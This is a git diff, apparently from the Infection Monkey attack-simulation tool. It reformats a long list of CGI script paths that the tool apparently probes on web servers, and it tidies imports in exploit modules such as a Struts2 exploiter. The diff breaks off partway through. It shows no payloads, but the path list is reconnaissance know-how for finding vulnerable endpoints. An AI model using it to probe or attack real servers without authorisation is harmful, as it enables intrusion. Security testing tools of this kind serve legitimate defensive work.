r'/cgi-bin/compatible.cgi', - r'/cgi-bin/Count.cgi', - r'/cgi-bin/csChatRBox.cgi', - r'/cgi-bin/csGuestBook.cgi', - r'/cgi-bin/csLiveSupport.cgi', - r'/cgi-bin/CSMailto.cgi', - r'/cgi-bin/CSMailto/CSMailto.cgi', - r'/cgi-bin/csNews.cgi', - r'/cgi-bin/csNewsPro.cgi', - r'/cgi-bin/csPassword.cgi', - r'/cgi-bin/csPassword/csPassword.cgi', - r'/cgi-bin/csSearch.cgi', - r'/cgi-bin/csv_db.cgi', - r'/cgi-bin/cvsblame.cgi', - r'/cgi-bin/cvslog.cgi', - r'/cgi-bin/cvsquery.cgi', - r'/cgi-bin/cvsqueryform.cgi', - r'/cgi-bin/day5datacopier.cgi', - r'/cgi-bin/day5datanotifier.cgi', - r'/cgi-bin/db_manager.cgi', - r'/cgi-bin/dbman/db.cgi', - r'/cgi-bin/dcforum.cgi', - r'/cgi-bin/dcshop.cgi', - r'/cgi-bin/dfire.cgi', - r'/cgi-bin/diagnose.cgi', - r'/cgi-bin/dig.cgi', - r'/cgi-bin/directorypro.cgi', - r'/cgi-bin/download.cgi', - r'/cgi-bin/e87_Ba79yo87.cgi', - r'/cgi-bin/emu/html/emumail.cgi', - r'/cgi-bin/emumail.cgi', - r'/cgi-bin/emumail/emumail.cgi', - r'/cgi-bin/enter.cgi', - r'/cgi-bin/environ.cgi', - r'/cgi-bin/ezadmin.cgi', - r'/cgi-bin/ezboard.cgi', - r'/cgi-bin/ezman.cgi', - r'/cgi-bin/ezshopper2/loadpage.cgi', - r'/cgi-bin/ezshopper3/loadpage.cgi', - r'/cgi-bin/ezshopper/loadpage.cgi', - r'/cgi-bin/ezshopper/search.cgi', - r'/cgi-bin/faqmanager.cgi', - r'/cgi-bin/FileSeek2.cgi', - r'/cgi-bin/FileSeek.cgi', - r'/cgi-bin/finger.cgi', - r'/cgi-bin/flexform.cgi', - r'/cgi-bin/fom.cgi', - r'/cgi-bin/fom/fom.cgi', - r'/cgi-bin/FormHandler.cgi', - r'/cgi-bin/FormMail.cgi', - r'/cgi-bin/gbadmin.cgi', - r'/cgi-bin/gbook/gbook.cgi', - r'/cgi-bin/generate.cgi', - r'/cgi-bin/getdoc.cgi', - r'/cgi-bin/gH.cgi', - r'/cgi-bin/gm-authors.cgi', - r'/cgi-bin/gm.cgi', - r'/cgi-bin/gm-cplog.cgi', - r'/cgi-bin/guestbook.cgi', - r'/cgi-bin/handler', - r'/cgi-bin/handler.cgi', - r'/cgi-bin/handler/netsonar', - r'/cgi-bin/hitview.cgi', - r'/cgi-bin/hsx.cgi', - r'/cgi-bin/html2chtml.cgi', - r'/cgi-bin/html2wml.cgi', - r'/cgi-bin/htsearch.cgi', - r'/cgi-bin/hw.sh', # testing - r'/cgi-bin/icat', - r'/cgi-bin/if/admin/nph-build.cgi', - r'/cgi-bin/ikonboard/help.cgi', - r'/cgi-bin/ImageFolio/admin/admin.cgi', - r'/cgi-bin/imageFolio.cgi', - r'/cgi-bin/index.cgi', - r'/cgi-bin/infosrch.cgi', - r'/cgi-bin/jammail.pl', - r'/cgi-bin/journal.cgi', - r'/cgi-bin/lastlines.cgi', - r'/cgi-bin/loadpage.cgi', - r'/cgi-bin/login.cgi', - r'/cgi-bin/logit.cgi', - r'/cgi-bin/log-reader.cgi', - r'/cgi-bin/lookwho.cgi', - r'/cgi-bin/lwgate.cgi', - r'/cgi-bin/MachineInfo', - r'/cgi-bin/MachineInfo', - r'/cgi-bin/magiccard.cgi', - r'/cgi-bin/mail/emumail.cgi', - r'/cgi-bin/maillist.cgi', - r'/cgi-bin/mailnews.cgi', - r'/cgi-bin/mail/nph-mr.cgi', - r'/cgi-bin/main.cgi', - r'/cgi-bin/main_menu.pl', - r'/cgi-bin/man.sh', - r'/cgi-bin/mini_logger.cgi', - r'/cgi-bin/mmstdod.cgi', - r'/cgi-bin/moin.cgi', - r'/cgi-bin/mojo/mojo.cgi', - r'/cgi-bin/mrtg.cgi', - r'/cgi-bin/mt.cgi', - r'/cgi-bin/mt/mt.cgi', - r'/cgi-bin/mt/mt-check.cgi', - r'/cgi-bin/mt/mt-load.cgi', - r'/cgi-bin/mt-static/mt-check.cgi', - r'/cgi-bin/mt-static/mt-load.cgi', - r'/cgi-bin/musicqueue.cgi', - r'/cgi-bin/myguestbook.cgi', - r'/cgi-bin/.namazu.cgi', - r'/cgi-bin/nbmember.cgi', - r'/cgi-bin/netauth.cgi', - r'/cgi-bin/netpad.cgi', - r'/cgi-bin/newsdesk.cgi', - r'/cgi-bin/nlog-smb.cgi', - r'/cgi-bin/nph-emumail.cgi', - r'/cgi-bin/nph-exploitscanget.cgi', - r'/cgi-bin/nph-publish.cgi', - r'/cgi-bin/nph-test.cgi', - r'/cgi-bin/pagelog.cgi', - r'/cgi-bin/pbcgi.cgi', - r'/cgi-bin/perlshop.cgi', - r'/cgi-bin/pfdispaly.cgi', - r'/cgi-bin/pfdisplay.cgi', - r'/cgi-bin/phf.cgi', - r'/cgi-bin/photo/manage.cgi', - r'/cgi-bin/photo/protected/manage.cgi', - r'/cgi-bin/php-cgi', - r'/cgi-bin/php.cgi', - r'/cgi-bin/php.fcgi', - r'/cgi-bin/ping.sh', - r'/cgi-bin/pollit/Poll_It_SSI_v2.0.cgi', - r'/cgi-bin/pollssi.cgi', - r'/cgi-bin/postcards.cgi', - r'/cgi-bin/powerup/r.cgi', - r'/cgi-bin/printenv', - r'/cgi-bin/probecontrol.cgi', - r'/cgi-bin/profile.cgi', - r'/cgi-bin/publisher/search.cgi', - r'/cgi-bin/quickstore.cgi', - r'/cgi-bin/quizme.cgi', - r'/cgi-bin/ratlog.cgi', - r'/cgi-bin/r.cgi', - r'/cgi-bin/register.cgi', - r'/cgi-bin/replicator/webpage.cgi/', - r'/cgi-bin/responder.cgi', - r'/cgi-bin/robadmin.cgi', - r'/cgi-bin/robpoll.cgi', - r'/cgi-bin/rtpd.cgi', - r'/cgi-bin/sbcgi/sitebuilder.cgi', - r'/cgi-bin/scoadminreg.cgi', - r'/cgi-bin-sdb/printenv', - r'/cgi-bin/sdbsearch.cgi', - r'/cgi-bin/search', - r'/cgi-bin/search.cgi', - r'/cgi-bin/search/search.cgi', - r'/cgi-bin/sendform.cgi', - r'/cgi-bin/shop.cgi', - r'/cgi-bin/shopper.cgi', - r'/cgi-bin/shopplus.cgi', - r'/cgi-bin/showcheckins.cgi', - r'/cgi-bin/simplestguest.cgi', - r'/cgi-bin/simplestmail.cgi', - r'/cgi-bin/smartsearch.cgi', - r'/cgi-bin/smartsearch/smartsearch.cgi', - r'/cgi-bin/snorkerz.bat', - r'/cgi-bin/snorkerz.bat', - r'/cgi-bin/snorkerz.cmd', - r'/cgi-bin/snorkerz.cmd', - r'/cgi-bin/sojourn.cgi', - r'/cgi-bin/spin_client.cgi', - r'/cgi-bin/start.cgi', - r'/cgi-bin/status', - r'/cgi-bin/status_cgi', - r'/cgi-bin/store/agora.cgi', - r'/cgi-bin/store.cgi', - r'/cgi-bin/store/index.cgi', - r'/cgi-bin/survey.cgi', - r'/cgi-bin/sync.cgi', - r'/cgi-bin/talkback.cgi', - r'/cgi-bin/technote/main.cgi', - r'/cgi-bin/test2.pl', - r'/cgi-bin/test-cgi', - r'/cgi-bin/test.cgi', - r'/cgi-bin/testing_whatever', - r'/cgi-bin/test/test.cgi', - r'/cgi-bin/tidfinder.cgi', - r'/cgi-bin/tigvote.cgi', - r'/cgi-bin/title.cgi', - r'/cgi-bin/top.cgi', - r'/cgi-bin/traffic.cgi', - r'/cgi-bin/troops.cgi', - r'/cgi-bin/ttawebtop.cgi/', - r'/cgi-bin/ultraboard.cgi', - r'/cgi-bin/upload.cgi', - r'/cgi-bin/urlcount.cgi', - r'/cgi-bin/viewcvs.cgi', - r'/cgi-bin/view_help.cgi', - r'/cgi-bin/viralator.cgi', - r'/cgi-bin/virgil.cgi', - r'/cgi-bin/vote.cgi', - r'/cgi-bin/vpasswd.cgi', - r'/cgi-bin/way-board.cgi', - r'/cgi-bin/way-board/way-board.cgi', - r'/cgi-bin/webbbs.cgi', - r'/cgi-bin/webcart/webcart.cgi', - r'/cgi-bin/webdist.cgi', - r'/cgi-bin/webif.cgi', - r'/cgi-bin/webmail/html/emumail.cgi', - r'/cgi-bin/webmap.cgi', - r'/cgi-bin/webspirs.cgi', - r'/cgi-bin/Web_Store/web_store.cgi', - r'/cgi-bin/whois.cgi', - r'/cgi-bin/whois_raw.cgi', - r'/cgi-bin/whois/whois.cgi', - r'/cgi-bin/wrap', - r'/cgi-bin/wrap.cgi', - r'/cgi-bin/wwwboard.cgi.cgi', - r'/cgi-bin/YaBB/YaBB.cgi', - r'/cgi-bin/zml.cgi', - r'/cgi-mod/index.cgi', - r'/cgis/wwwboard/wwwboard.cgi', - r'/cgi-sys/addalink.cgi', - r'/cgi-sys/defaultwebpage.cgi', - r'/cgi-sys/domainredirect.cgi', - r'/cgi-sys/entropybanner.cgi', - r'/cgi-sys/entropysearch.cgi', - r'/cgi-sys/FormMail-clone.cgi', - r'/cgi-sys/helpdesk.cgi', - r'/cgi-sys/mchat.cgi', - r'/cgi-sys/randhtml.cgi', - r'/cgi-sys/realhelpdesk.cgi', - r'/cgi-sys/realsignup.cgi', - r'/cgi-sys/signup.cgi', - r'/connector.cgi', - r'/cp/rac/nsManager.cgi', - r'/create_release.sh', - r'/CSNews.cgi', - r'/csPassword.cgi', - r'/dcadmin.cgi', - r'/dcboard.cgi', - r'/dcforum.cgi', - r'/dcforum/dcforum.cgi', - r'/debuff.cgi', - r'/debug.cgi', - r'/details.cgi', - r'/edittag/edittag.cgi', - r'/emumail.cgi', - r'/enter_buff.cgi', - r'/enter_bug.cgi', - r'/ez2000/ezadmin.cgi', - r'/ez2000/ezboard.cgi', - r'/ez2000/ezman.cgi', - r'/fcgi-bin/echo', - r'/fcgi-bin/echo', - r'/fcgi-bin/echo2', - r'/fcgi-bin/echo2', - r'/Gozila.cgi', - r'/hitmatic/analyse.cgi', - r'/hp_docs/cgi-bin/index.cgi', - r'/html/cgi-bin/cgicso', - r'/html/cgi-bin/cgicso', - r'/index.cgi', - r'/info.cgi', - r'/infosrch.cgi', - r'/login.cgi', - r'/mailview.cgi', - r'/main.cgi', - r'/megabook/admin.cgi', - r'/ministats/admin.cgi', - r'/mods/apage/apage.cgi', - r'/_mt/mt.cgi', - r'/musicqueue.cgi', - r'/ncbook.cgi', - r'/newpro.cgi', - r'/newsletter.sh', - r'/oem_webstage/cgi-bin/oemapp_cgi', - r'/page.cgi', - r'/parse_xml.cgi', - r'/photodata/manage.cgi', - r'/photo/manage.cgi', - r'/print.cgi', - r'/process_buff.cgi', - r'/process_bug.cgi', - r'/pub/english.cgi', - r'/quikmail/nph-emumail.cgi', - r'/quikstore.cgi', - r'/reviews/newpro.cgi', - r'/ROADS/cgi-bin/search.pl', - r'/sample01.cgi', - r'/sample02.cgi', - r'/sample03.cgi', - r'/sample04.cgi', - r'/sampleposteddata.cgi', - r'/scancfg.cgi', - r'/scancfg.cgi', - r'/servers/link.cgi', - r'/setpasswd.cgi', - r'/SetSecurity.shm', - r'/shop/member_html.cgi', - r'/shop/normal_html.cgi', - r'/site_searcher.cgi', - r'/siteUserMod.cgi', - r'/submit.cgi', - r'/technote/print.cgi', - r'/template.cgi', - r'/test.cgi', - r'/ucsm/isSamInstalled.cgi', - r'/upload.cgi', - r'/userreg.cgi', - r'/users/scripts/submit.cgi', - r'/vood/cgi-bin/vood_view.cgi', - r'/Web_Store/web_store.cgi', - r'/webtools/bonsai/ccvsblame.cgi', - r'/webtools/bonsai/cvsblame.cgi', - r'/webtools/bonsai/cvslog.cgi', - r'/webtools/bonsai/cvsquery.cgi', - r'/webtools/bonsai/cvsqueryform.cgi', - r'/webtools/bonsai/showcheckins.cgi', - r'/wwwadmin.cgi', - r'/wwwboard.cgi', - r'/wwwboard/wwwboard.cgi') \ No newline at end of file +CGI_FILES = ( + r'/', + r'/admin.cgi', + r'/administrator.cgi', + r'/agora.cgi', + r'/aktivate/cgi-bin/catgy.cgi', + r'/analyse.cgi', + r'/apps/web/vs_diag.cgi', + r'/axis-cgi/buffer/command.cgi', + r'/b2-include/b2edit.showposts.php', + r'/bandwidth/index.cgi', + r'/bigconf.cgi', + r'/cartcart.cgi', + r'/cart.cgi', + r'/ccbill/whereami.cgi', + r'/cgi-bin/14all-1.1.cgi', + r'/cgi-bin/14all.cgi', + r'/cgi-bin/a1disp3.cgi', + r'/cgi-bin/a1stats/a1disp3.cgi', + r'/cgi-bin/a1stats/a1disp4.cgi', + r'/cgi-bin/addbanner.cgi', + r'/cgi-bin/add_ftp.cgi', + r'/cgi-bin/adduser.cgi', + r'/cgi-bin/admin/admin.cgi', + r'/cgi-bin/admin.cgi', + r'/cgi-bin/admin/getparam.cgi', + r'/cgi-bin/adminhot.cgi', + r'/cgi-bin/admin.pl', + r'/cgi-bin/admin/setup.cgi', + r'/cgi-bin/adminwww.cgi', + r'/cgi-bin/af.cgi', + r'/cgi-bin/aglimpse.cgi', + r'/cgi-bin/alienform.cgi', + r'/cgi-bin/AnyBoard.cgi', + r'/cgi-bin/architext_query.cgi', + r'/cgi-bin/astrocam.cgi', + r'/cgi-bin/AT-admin.cgi', + r'/cgi-bin/AT-generate.cgi', + r'/cgi-bin/auction/auction.cgi', + r'/cgi-bin/auktion.cgi', + r'/cgi-bin/ax-admin.cgi', + r'/cgi-bin/ax.cgi', + r'/cgi-bin/axs.cgi', + r'/cgi-bin/badmin.cgi', + r'/cgi-bin/banner.cgi', + r'/cgi-bin/bannereditor.cgi', + r'/cgi-bin/bb-ack.sh', + r'/cgi-bin/bb-histlog.sh', + r'/cgi-bin/bb-hist.sh', + r'/cgi-bin/bb-hostsvc.sh', + r'/cgi-bin/bb-replog.sh', + r'/cgi-bin/bb-rep.sh', + r'/cgi-bin/bbs_forum.cgi', + r'/cgi-bin/bigconf.cgi', + r'/cgi-bin/bizdb1-search.cgi', + r'/cgi-bin/blog/mt-check.cgi', + r'/cgi-bin/blog/mt-load.cgi', + r'/cgi-bin/bnbform.cgi', + r'/cgi-bin/book.cgi', + r'/cgi-bin/boozt/admin/index.cgi', + r'/cgi-bin/bsguest.cgi', + r'/cgi-bin/bslist.cgi', + r'/cgi-bin/build.cgi', + r'/cgi-bin/bulk/bulk.cgi', + r'/cgi-bin/cached_feed.cgi', + r'/cgi-bin/cachemgr.cgi', + r'/cgi-bin/calendar/index.cgi', + r'/cgi-bin/cartmanager.cgi', + r'/cgi-bin/cbmc/forums.cgi', + r'/cgi-bin/ccvsblame.cgi', + r'/cgi-bin/c_download.cgi', + r'/cgi-bin/cgforum.cgi', + r'/cgi-bin/.cgi', + r'/cgi-bin/cgi_process', + r'/cgi-bin/classified.cgi', + r'/cgi-bin/classifieds.cgi', + r'/cgi-bin/classifieds/classifieds.cgi', + r'/cgi-bin/classifieds/index.cgi', + r'/cgi-bin/.cobalt/alert/service.cgi', + r'/cgi-bin/.cobalt/message/message.cgi', + r'/cgi-bin/.cobalt/siteUserMod/siteUserMod.cgi', + r'/cgi-bin/commandit.cgi', + r'/cgi-bin/commerce.cgi', + r'/cgi-bin/common/listrec.pl', + r'/cgi-bin/compatible.cgi', + r'/cgi-bin/Count.cgi', + r'/cgi-bin/csChatRBox.cgi', + r'/cgi-bin/csGuestBook.cgi', + r'/cgi-bin/csLiveSupport.cgi', + r'/cgi-bin/CSMailto.cgi', + r'/cgi-bin/CSMailto/CSMailto.cgi', + r'/cgi-bin/csNews.cgi', + r'/cgi-bin/csNewsPro.cgi', + r'/cgi-bin/csPassword.cgi', + r'/cgi-bin/csPassword/csPassword.cgi', + r'/cgi-bin/csSearch.cgi', + r'/cgi-bin/csv_db.cgi', + r'/cgi-bin/cvsblame.cgi', + r'/cgi-bin/cvslog.cgi', + r'/cgi-bin/cvsquery.cgi', + r'/cgi-bin/cvsqueryform.cgi', + r'/cgi-bin/day5datacopier.cgi', + r'/cgi-bin/day5datanotifier.cgi', + r'/cgi-bin/db_manager.cgi', + r'/cgi-bin/dbman/db.cgi', + r'/cgi-bin/dcforum.cgi', + r'/cgi-bin/dcshop.cgi', + r'/cgi-bin/dfire.cgi', + r'/cgi-bin/diagnose.cgi', + r'/cgi-bin/dig.cgi', + r'/cgi-bin/directorypro.cgi', + r'/cgi-bin/download.cgi', + r'/cgi-bin/e87_Ba79yo87.cgi', + r'/cgi-bin/emu/html/emumail.cgi', + r'/cgi-bin/emumail.cgi', + r'/cgi-bin/emumail/emumail.cgi', + r'/cgi-bin/enter.cgi', + r'/cgi-bin/environ.cgi', + r'/cgi-bin/ezadmin.cgi', + r'/cgi-bin/ezboard.cgi', + r'/cgi-bin/ezman.cgi', + r'/cgi-bin/ezshopper2/loadpage.cgi', + r'/cgi-bin/ezshopper3/loadpage.cgi', + r'/cgi-bin/ezshopper/loadpage.cgi', + r'/cgi-bin/ezshopper/search.cgi', + r'/cgi-bin/faqmanager.cgi', + r'/cgi-bin/FileSeek2.cgi', + r'/cgi-bin/FileSeek.cgi', + r'/cgi-bin/finger.cgi', + r'/cgi-bin/flexform.cgi', + r'/cgi-bin/fom.cgi', + r'/cgi-bin/fom/fom.cgi', + r'/cgi-bin/FormHandler.cgi', + r'/cgi-bin/FormMail.cgi', + r'/cgi-bin/gbadmin.cgi', + r'/cgi-bin/gbook/gbook.cgi', + r'/cgi-bin/generate.cgi', + r'/cgi-bin/getdoc.cgi', + r'/cgi-bin/gH.cgi', + r'/cgi-bin/gm-authors.cgi', + r'/cgi-bin/gm.cgi', + r'/cgi-bin/gm-cplog.cgi', + r'/cgi-bin/guestbook.cgi', + r'/cgi-bin/handler', + r'/cgi-bin/handler.cgi', + r'/cgi-bin/handler/netsonar', + r'/cgi-bin/hitview.cgi', + r'/cgi-bin/hsx.cgi', + r'/cgi-bin/html2chtml.cgi', + r'/cgi-bin/html2wml.cgi', + r'/cgi-bin/htsearch.cgi', + r'/cgi-bin/hw.sh', # testing + r'/cgi-bin/icat', + r'/cgi-bin/if/admin/nph-build.cgi', + r'/cgi-bin/ikonboard/help.cgi', + r'/cgi-bin/ImageFolio/admin/admin.cgi', + r'/cgi-bin/imageFolio.cgi', + r'/cgi-bin/index.cgi', + r'/cgi-bin/infosrch.cgi', + r'/cgi-bin/jammail.pl', + r'/cgi-bin/journal.cgi', + r'/cgi-bin/lastlines.cgi', + r'/cgi-bin/loadpage.cgi', + r'/cgi-bin/login.cgi', + r'/cgi-bin/logit.cgi', + r'/cgi-bin/log-reader.cgi', + r'/cgi-bin/lookwho.cgi', + r'/cgi-bin/lwgate.cgi', + r'/cgi-bin/MachineInfo', + r'/cgi-bin/MachineInfo', + r'/cgi-bin/magiccard.cgi', + r'/cgi-bin/mail/emumail.cgi', + r'/cgi-bin/maillist.cgi', + r'/cgi-bin/mailnews.cgi', + r'/cgi-bin/mail/nph-mr.cgi', + r'/cgi-bin/main.cgi', + r'/cgi-bin/main_menu.pl', + r'/cgi-bin/man.sh', + r'/cgi-bin/mini_logger.cgi', + r'/cgi-bin/mmstdod.cgi', + r'/cgi-bin/moin.cgi', + r'/cgi-bin/mojo/mojo.cgi', + r'/cgi-bin/mrtg.cgi', + r'/cgi-bin/mt.cgi', + r'/cgi-bin/mt/mt.cgi', + r'/cgi-bin/mt/mt-check.cgi', + r'/cgi-bin/mt/mt-load.cgi', + r'/cgi-bin/mt-static/mt-check.cgi', + r'/cgi-bin/mt-static/mt-load.cgi', + r'/cgi-bin/musicqueue.cgi', + r'/cgi-bin/myguestbook.cgi', + r'/cgi-bin/.namazu.cgi', + r'/cgi-bin/nbmember.cgi', + r'/cgi-bin/netauth.cgi', + r'/cgi-bin/netpad.cgi', + r'/cgi-bin/newsdesk.cgi', + r'/cgi-bin/nlog-smb.cgi', + r'/cgi-bin/nph-emumail.cgi', + r'/cgi-bin/nph-exploitscanget.cgi', + r'/cgi-bin/nph-publish.cgi', + r'/cgi-bin/nph-test.cgi', + r'/cgi-bin/pagelog.cgi', + r'/cgi-bin/pbcgi.cgi', + r'/cgi-bin/perlshop.cgi', + r'/cgi-bin/pfdispaly.cgi', + r'/cgi-bin/pfdisplay.cgi', + r'/cgi-bin/phf.cgi', + r'/cgi-bin/photo/manage.cgi', + r'/cgi-bin/photo/protected/manage.cgi', + r'/cgi-bin/php-cgi', + r'/cgi-bin/php.cgi', + r'/cgi-bin/php.fcgi', + r'/cgi-bin/ping.sh', + r'/cgi-bin/pollit/Poll_It_SSI_v2.0.cgi', + r'/cgi-bin/pollssi.cgi', + r'/cgi-bin/postcards.cgi', + r'/cgi-bin/powerup/r.cgi', + r'/cgi-bin/printenv', + r'/cgi-bin/probecontrol.cgi', + r'/cgi-bin/profile.cgi', + r'/cgi-bin/publisher/search.cgi', + r'/cgi-bin/quickstore.cgi', + r'/cgi-bin/quizme.cgi', + r'/cgi-bin/ratlog.cgi', + r'/cgi-bin/r.cgi', + r'/cgi-bin/register.cgi', + r'/cgi-bin/replicator/webpage.cgi/', + r'/cgi-bin/responder.cgi', + r'/cgi-bin/robadmin.cgi', + r'/cgi-bin/robpoll.cgi', + r'/cgi-bin/rtpd.cgi', + r'/cgi-bin/sbcgi/sitebuilder.cgi', + r'/cgi-bin/scoadminreg.cgi', + r'/cgi-bin-sdb/printenv', + r'/cgi-bin/sdbsearch.cgi', + r'/cgi-bin/search', + r'/cgi-bin/search.cgi', + r'/cgi-bin/search/search.cgi', + r'/cgi-bin/sendform.cgi', + r'/cgi-bin/shop.cgi', + r'/cgi-bin/shopper.cgi', + r'/cgi-bin/shopplus.cgi', + r'/cgi-bin/showcheckins.cgi', + r'/cgi-bin/simplestguest.cgi', + r'/cgi-bin/simplestmail.cgi', + r'/cgi-bin/smartsearch.cgi', + r'/cgi-bin/smartsearch/smartsearch.cgi', + r'/cgi-bin/snorkerz.bat', + r'/cgi-bin/snorkerz.bat', + r'/cgi-bin/snorkerz.cmd', + r'/cgi-bin/snorkerz.cmd', + r'/cgi-bin/sojourn.cgi', + r'/cgi-bin/spin_client.cgi', + r'/cgi-bin/start.cgi', + r'/cgi-bin/status', + r'/cgi-bin/status_cgi', + r'/cgi-bin/store/agora.cgi', + r'/cgi-bin/store.cgi', + r'/cgi-bin/store/index.cgi', + r'/cgi-bin/survey.cgi', + r'/cgi-bin/sync.cgi', + r'/cgi-bin/talkback.cgi', + r'/cgi-bin/technote/main.cgi', + r'/cgi-bin/test2.pl', + r'/cgi-bin/test-cgi', + r'/cgi-bin/test.cgi', + r'/cgi-bin/testing_whatever', + r'/cgi-bin/test/test.cgi', + r'/cgi-bin/tidfinder.cgi', + r'/cgi-bin/tigvote.cgi', + r'/cgi-bin/title.cgi', + r'/cgi-bin/top.cgi', + r'/cgi-bin/traffic.cgi', + r'/cgi-bin/troops.cgi', + r'/cgi-bin/ttawebtop.cgi/', + r'/cgi-bin/ultraboard.cgi', + r'/cgi-bin/upload.cgi', + r'/cgi-bin/urlcount.cgi', + r'/cgi-bin/viewcvs.cgi', + r'/cgi-bin/view_help.cgi', + r'/cgi-bin/viralator.cgi', + r'/cgi-bin/virgil.cgi', + r'/cgi-bin/vote.cgi', + r'/cgi-bin/vpasswd.cgi', + r'/cgi-bin/way-board.cgi', + r'/cgi-bin/way-board/way-board.cgi', + r'/cgi-bin/webbbs.cgi', + r'/cgi-bin/webcart/webcart.cgi', + r'/cgi-bin/webdist.cgi', + r'/cgi-bin/webif.cgi', + r'/cgi-bin/webmail/html/emumail.cgi', + r'/cgi-bin/webmap.cgi', + r'/cgi-bin/webspirs.cgi', + r'/cgi-bin/Web_Store/web_store.cgi', + r'/cgi-bin/whois.cgi', + r'/cgi-bin/whois_raw.cgi', + r'/cgi-bin/whois/whois.cgi', + r'/cgi-bin/wrap', + r'/cgi-bin/wrap.cgi', + r'/cgi-bin/wwwboard.cgi.cgi', + r'/cgi-bin/YaBB/YaBB.cgi', + r'/cgi-bin/zml.cgi', + r'/cgi-mod/index.cgi', + r'/cgis/wwwboard/wwwboard.cgi', + r'/cgi-sys/addalink.cgi', + r'/cgi-sys/defaultwebpage.cgi', + r'/cgi-sys/domainredirect.cgi', + r'/cgi-sys/entropybanner.cgi', + r'/cgi-sys/entropysearch.cgi', + r'/cgi-sys/FormMail-clone.cgi', + r'/cgi-sys/helpdesk.cgi', + r'/cgi-sys/mchat.cgi', + r'/cgi-sys/randhtml.cgi', + r'/cgi-sys/realhelpdesk.cgi', + r'/cgi-sys/realsignup.cgi', + r'/cgi-sys/signup.cgi', + r'/connector.cgi', + r'/cp/rac/nsManager.cgi', + r'/create_release.sh', + r'/CSNews.cgi', + r'/csPassword.cgi', + r'/dcadmin.cgi', + r'/dcboard.cgi', + r'/dcforum.cgi', + r'/dcforum/dcforum.cgi', + r'/debuff.cgi', + r'/debug.cgi', + r'/details.cgi', + r'/edittag/edittag.cgi', + r'/emumail.cgi', + r'/enter_buff.cgi', + r'/enter_bug.cgi', + r'/ez2000/ezadmin.cgi', + r'/ez2000/ezboard.cgi', + r'/ez2000/ezman.cgi', + r'/fcgi-bin/echo', + r'/fcgi-bin/echo', + r'/fcgi-bin/echo2', + r'/fcgi-bin/echo2', + r'/Gozila.cgi', + r'/hitmatic/analyse.cgi', + r'/hp_docs/cgi-bin/index.cgi', + r'/html/cgi-bin/cgicso', + r'/html/cgi-bin/cgicso', + r'/index.cgi', + r'/info.cgi', + r'/infosrch.cgi', + r'/login.cgi', + r'/mailview.cgi', + r'/main.cgi', + r'/megabook/admin.cgi', + r'/ministats/admin.cgi', + r'/mods/apage/apage.cgi', + r'/_mt/mt.cgi', + r'/musicqueue.cgi', + r'/ncbook.cgi', + r'/newpro.cgi', + r'/newsletter.sh', + r'/oem_webstage/cgi-bin/oemapp_cgi', + r'/page.cgi', + r'/parse_xml.cgi', + r'/photodata/manage.cgi', + r'/photo/manage.cgi', + r'/print.cgi', + r'/process_buff.cgi', + r'/process_bug.cgi', + r'/pub/english.cgi', + r'/quikmail/nph-emumail.cgi', + r'/quikstore.cgi', + r'/reviews/newpro.cgi', + r'/ROADS/cgi-bin/search.pl', + r'/sample01.cgi', + r'/sample02.cgi', + r'/sample03.cgi', + r'/sample04.cgi', + r'/sampleposteddata.cgi', + r'/scancfg.cgi', + r'/scancfg.cgi', + r'/servers/link.cgi', + r'/setpasswd.cgi', + r'/SetSecurity.shm', + r'/shop/member_html.cgi', + r'/shop/normal_html.cgi', + r'/site_searcher.cgi', + r'/siteUserMod.cgi', + r'/submit.cgi', + r'/technote/print.cgi', + r'/template.cgi', + r'/test.cgi', + r'/ucsm/isSamInstalled.cgi', + r'/upload.cgi', + r'/userreg.cgi', + r'/users/scripts/submit.cgi', + r'/vood/cgi-bin/vood_view.cgi', + r'/Web_Store/web_store.cgi', + r'/webtools/bonsai/ccvsblame.cgi', + r'/webtools/bonsai/cvsblame.cgi', + r'/webtools/bonsai/cvslog.cgi', + r'/webtools/bonsai/cvsquery.cgi', + r'/webtools/bonsai/cvsqueryform.cgi', + r'/webtools/bonsai/showcheckins.cgi', + r'/wwwadmin.cgi', + r'/wwwboard.cgi', + r'/wwwboard/wwwboard.cgi' +) diff --git a/monkey/infection_monkey/exploit/struts2.py b/monkey/infection_monkey/exploit/struts2.py index fc2fd764d..9aba749a7 100644 --- a/monkey/infection_monkey/exploit/struts2.py +++ b/monkey/infection_monkey/exploit/struts2.py @@ -3,13 +3,14 @@ code used is from https://www.exploit-db.com/exploits/41570/ Vulnerable struts2 versions <=2.3.31 and <=2.5.10 """ -import urllib.request, urllib.error, urllib.parse import http.client -import unicodedata +import logging import re import ssl +import urllib.error +import urllib.parse +import urllib.request -import logging from infection_monkey.exploit.web_rce import WebRCE __author__ = "VakarisZ" diff --git a/monkey/infection_monkey/exploit/tools/exceptions.py b/monkey/infection_monkey/exploit/tools/exceptions.py index a322dc5bd..7d6c16366 100644 --- a/monkey/infection_monkey/exploit/tools/exceptions.py +++ b/monkey/infection_monkey/exploit/tools/exceptions.py @@ -1,5 +1,3 @@ - - class ExploitingVulnerableMachineError(Exception): """ Raise when exploiter failed, but machine is vulnerable""" diff --git a/monkey/infection_monkey/exploit/tools/helpers.py b/monkey/infection_monkey/exploit/tools/helpers.py index 91a25c270..5e4b43b20 100644 --- a/monkey/infection_monkey/exploit/tools/helpers.py +++ b/monkey/infection_monkey/exploit/tools/helpers.py @@ -74,7 +74,7 @@ def get_target_monkey(host): if host.os.get('type') == platform.system().lower(): # if exe not found, and we have the same arch or arch is unknown and we are 32bit, use our exe if (not host.os.get('machine') and sys.maxsize < 2 ** 32) or \ - host.os.get('machine', '').lower() == platform.machine().lower(): + host.os.get('machine', '').lower() == platform.machine().lower(): monkey_path = sys.executable return monkey_path diff --git a/monkey/infection_monkey/exploit/tools/http_tools.py b/monkey/infection_monkey/exploit/tools/http_tools.py index 297e064fc..b31e67137 100644 --- a/monkey/infection_monkey/exploit/tools/http_tools.py +++ b/monkey/infection_monkey/exploit/tools/http_tools.py @@ -1,14 +1,16 @@ import logging import os import os.path -import urllib.request, urllib.parse, urllib.error +import urllib.error +import urllib.parse +import urllib.request from threading import Lock +from infection_monkey.exploit.tools.helpers import try_get_target_monkey, get_interface_to_target +from infection_monkey.model import DOWNLOAD_TIMEOUT from infection_monkey.network.firewall import app as firewall from infection_monkey.network.info import get_free_tcp_port from infection_monkey.transport import HTTPServer, LockedHTTPServer -from infection_monkey.exploit.tools.helpers import try_get_target_monkey, get_interface_to_target -from infection_monkey.model import DOWNLOAD_TIMEOUT __author__ = 'itamar' diff --git a/monkey/infection_monkey/exploit/tools/payload_parsing.py b/monkey/infection_monkey/exploit/tools/payload_parsing.py index 31632b045..5c4415fe3 100644 --- 